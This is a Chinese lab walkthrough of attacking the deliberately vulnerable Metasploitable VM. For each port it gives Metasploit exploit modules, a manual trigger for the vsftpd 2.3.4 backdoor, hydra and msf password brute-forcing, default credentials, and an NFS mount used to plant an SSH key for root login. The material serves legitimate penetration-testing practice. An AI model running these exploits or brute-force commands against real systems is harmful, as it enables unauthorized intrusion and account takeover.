目录
- 一、简介
- 二、信息收集
- 三、端口渗透
- 6667-UnreallRCd 后门漏洞
- 21-Vsftpd 源码包后门漏洞
- hydra 爆破
- 23-telnet-弱密码
- 22-ssh-弱密码
- 3306-mysql-弱密码
- 5423-postgresql-弱密码
- 5900-VNC-弱密码
- 139/445-Samba MS-RPC Shell命令注入漏洞
- 1099-Java RMI SERVER 命令执行漏洞
- 3632-Distcc 后门漏洞
- 80-PHP CGI 参数注入执行漏洞
- 1524-Ingreslock 后门漏洞
- 512/513/514-Rlogin 后门漏洞
- 8180-Apache Tomcat弱口令
- 8787-drb服务,有个远程代码执行漏洞
- 2049-Linux NFS共享目录配置漏洞
- 参考:
一、简介
metasploitable是一个Ubuntu-Linux虚拟机,用于测试常见漏洞。本质上是一个盒子中的渗透测试实验室,提供了执行渗透测试和渗透研究的安全场所。
靶机下载地址
用户名是 :msfadmin
密码是: msfadmin
二、信息收集
nmap -sS 192.168.92.0/24
开放了好多端口
三、端口渗透
6667-UnreallRCd 后门漏洞
大致过程
登录msf search irc 找到对应得模块
search irc
use exploit/unix/irc/unreal_ircd_3281_backdoor进入对应模块
show options 查看配置
set 查看设置信息
rhost和rhosts都是靶机的ip,可以一样
lhost是攻击机的ip
设置主机名,进行漏洞利用,exploit攻击
失败了,需要payload,查看可以用的payload
show payloads
但是显示这个payload不可以用
失败
21-Vsftpd 源码包后门漏洞
大致过程
search vsftpd
寻找和该服务相关的模块,选择exploit模块进行渗透,此时注意信息的描述来确定该模块能不能用,也可以使用info查看一下详细的信息。
use exploit/unix/ftp/vsftpd_234_backdoor
进入该漏斗模块的环境
show payloads
显示和该漏洞模块匹配的攻击载荷
有这句话[*] No payload configured, defaulting to cmd/unix/interact
,
这一步不用做set payloads cmd/unix/interact设置攻击载荷
show options
查看需要配置的参数
可以看出主要设置RHOSTS参数即可,设置参数后exploit即可
结果
注意连接的端口6200
补充:VSFTPD v2.3.4 漏洞代码
运行在Unix系统的一个服务器的名称。
查看源代码:注意37.38两行,十六进制3a代表:,十六进制29代表)。如果输入用户名输入:)这两个字符。就去执行vsf_sysutil_extra();
vsf_sysutil_extra()的函数内容
注意代码的79.83.84.85.94行的内容。79创建了一个叫sa的网络地址,83.84.85对该网络地址进行设定。6200,端口进行监听。94行提供了一个shell,任何人可以访问。
按照以上过程进行手动利用代码
该服务运行在21端口
telnet 192.168.92.9 21
输入:在输入:),就会打开6200端口,密码随意
例如:
USER user:)
PASS pass 小写字母部分可以是任意字符
表示连接成功!之后,执行telnet 192.168.92.9 6200
注意:连接成功之后,输入的命令后面要有一个;
hydra 爆破
hydra -L 用户名路径 -P 密码路径 -vV -T task ip
23-telnet-弱密码
使用模块use auxiliary/scanner/telnet/telnet_login
可以爆破出密码和用户名
telnet 192.168.92.9
账号:msfadmin
密码:msfadmin
22-ssh-弱密码
使用msf暴力破解
暴力破解密码
路径前面要有root,例如set PASS-FILE /root/desktop/password.txt
Search ssh_login 搜索模块
Use auxiliary/scanner/ssh/ssh_login 使用模块
Set RHOST 192.168.92.9 设置目标地址
Set USER_FILE /root/0.txt 设置用户字典路径
Set PASS_FILE /root/0.txt 设置字典密码路径
Set THREADS 100 设置线程是100
Run 开跑
ssh msfadmin@192.168.92.9
3306-mysql-弱密码
使用模块:use auxiliary/scanner/mysql/mysql_login
账号root密码为空然后
mysql -h ip
这个mysql没有密码,如果有的话,可以选择爆破
5423-postgresql-弱密码
爆破出密码(我是建立在知道密码进行破解的)
hydra -l postgres -p postgres -vV -T 3 postgres://192.168.92.9
psql -h ip -U 用户名
psql -h 192.168.92.9 -U postgres
密码:postgres
5900-VNC-弱密码
5900端口vnc服务,vnc服务有两部分构成,一部分是服务,一个是客户端,我们进行爆破
使用模块爆破:use auxiliary/scanner/vnc/vnc_login
执行 vncviewer ip
密码 password
补充VNC:
VNC “Virtual Network Console”虚拟网络控制台,远程控制工具软件,是基于 UNIX 和 Linux 操作系统的免费的开源软件,在 Linux 中,VNC 包括以下四个命令:vncserver,vncviewer,vncpasswd,和 vncconnect。大多数情况下用户只需要其中的两个命令:vncserver 和 vncviewer。
vncserver
此服务程序必须在在主(或遥控)计算机上运行。你只能作为使用者(不需要根用户身份)使用此项服务。
vncviewer
本地应用程序,用于远程接入运行vncserver的计算机并显示其环境。你需要知道远程计算机的IP地址和vncserver设定的密码。
vncpasswd
vncserver的密码设置工具。vncserver服务程序没有设置密码将不能运行(好习惯)。如果你没有设置,运行vncserver时它会提示你输入一个密码。所以,一般我不会单独运行这个命令来设置密码。
vncconnect
告诉vncserver连接到远程一个运行vncviewer的计算机的IP和端口号。这样我就可以避免给其他人一个接入的密码。
Xvnc
一个vnc“主控”程序,一般来说不需要直接运行。(vncserver和vncviewer实际上是Xvnc的脚本)
查找所有可用的选项,运行:
Xvnc --help
出于安全的考虑,一般不建议直接以超级用户帐号运行vncserver程序。如果你需要超级用户的环境,请以一般用户登录后再使用su命令登录到超级用户帐号。
139/445-Samba MS-RPC Shell命令注入漏洞
大致过程
search samba
use exploit/unix/misc/distcc_exec
use exploit/multi/samba/usermap_script
use auxiliary/admin/smb/samba_symlink_traversal
上面三个都可以
可以使用id查看一下信息,是root权限
1099-Java RMI SERVER 命令执行漏洞
1099端口是一个Java反序列化命令执行漏洞
Java RMI Serve 的 RMI 注册表和 RMI 激活服务的默认配置存在安全漏洞,可被利用导致代码执行。
失败了
3632-Distcc 后门漏洞
Distcc 用于大量代码在网络服务器上的分布式编译,但是如果配置不严格,容易被滥用执行命令,该漏洞是 xcode1.5 版本及其他版本的 distcc2.x 版本配置对于服务器端口的访问不限制。
80-PHP CGI 参数注入执行漏洞
CGI脚本没有正确处理请求参数,导致源代码泄露,允许远程攻击者在请求参数中插入执行命令。
访问一下phpinfo().php 发现了一个2012年的漏洞
server API 是CGI方式运行的,这个方式在PHP存在漏洞-Cgi参数注入
1524-Ingreslock 后门漏洞
Ingreslock 后门程序监听在1524端口,连接到1524端口就可以直接获得root权限
在少数服务器上存在一个古老的令人惊讶的“ingreslock”后门,监听1524端口。在过去的十年里,它经常被用于入侵一个暴露的服务器。
512/513/514-Rlogin 后门漏洞
TCP端口512,513和514为著名的rlogin 提供服务。
在系统中被错误配置从而允许远程访问者从任何地方访问(标准的,rhosts++)。
要利用这个配置,确保rsh客户端已经安装(在linux操作系统上安装例如Open SSH),然后以root权限运行下列命令,如果被提示需要一个SSH秘钥,这表示rsh 客户端没有安装,ubuntu一般默认使用SSH(Debian GNU/Linux也是如此)。
8180-Apache Tomcat弱口令
在终端中输入命令“nmap –sV 192.168.92.9”,对目标主机进行端口扫描,发现开放8180端口并且运行着ApacheTomcat/CoyoteJSP engine1.1。
在终端下输入命令“search tomcat”, 搜索tomcat的相关工具和攻击载荷。
在终端输入“use auxiliary/scanner/http/tomcat_mgr_login”, 启用漏洞利用模块, 提示符就会提示进入到该路径下。
use auxiliary/scanner/http/tomcat_mgr_login”, 启用漏洞利用模块, 提示符就会提示进入到该路径下。
set RHOSTS 192.168.92.9”,设置攻击目标主机IP、
“set RPORT 8180”,设置攻击目标主机端口号
在终端下输入“exploit”, 实施攻击。获得用户名tomcat,密码tomcat。
search tomcat
show options
注意:set参数时,要和name中的参数名一致
注意:先创建shell,才能输入linux命令
8787-drb服务,有个远程代码执行漏洞
使用模块:use exploit/linux/misc/drb_remote_codeexec
2049-Linux NFS共享目录配置漏洞
原理: NFS服务配置漏洞赋予了根目录远程可写权限,导致/root/.ssh/authorized_keys
可被修改,实现远程ssh无密码登录
输入ssh-keygen 生成RSA公钥
(1)mount –t nfs 192.168.92.9:/ /tmp/test(预先创建)
,把192.168.92.9的根目录挂载到/tmp/test/下;
(2)cat /root/.ssh/id_rsa.pub>>/tmp/test/root/.ssh/authorized_keys
,把生成的公钥追加到靶机的authorized_keys下;
(3)ssh root@192.168.92.9
,实现无密码登录
参考:
https://blog.csdn.net/weixin_39796878/article/details/117006520
https://blog.csdn.net/Aluxian_/article/details/123355133
https://www.cnblogs.com/xingyuner/p/12879772.html
https://blog.csdn.net/qq_43233085/article/details/104189510
https://blog.csdn.net/weixin_45018333/article/details/104841419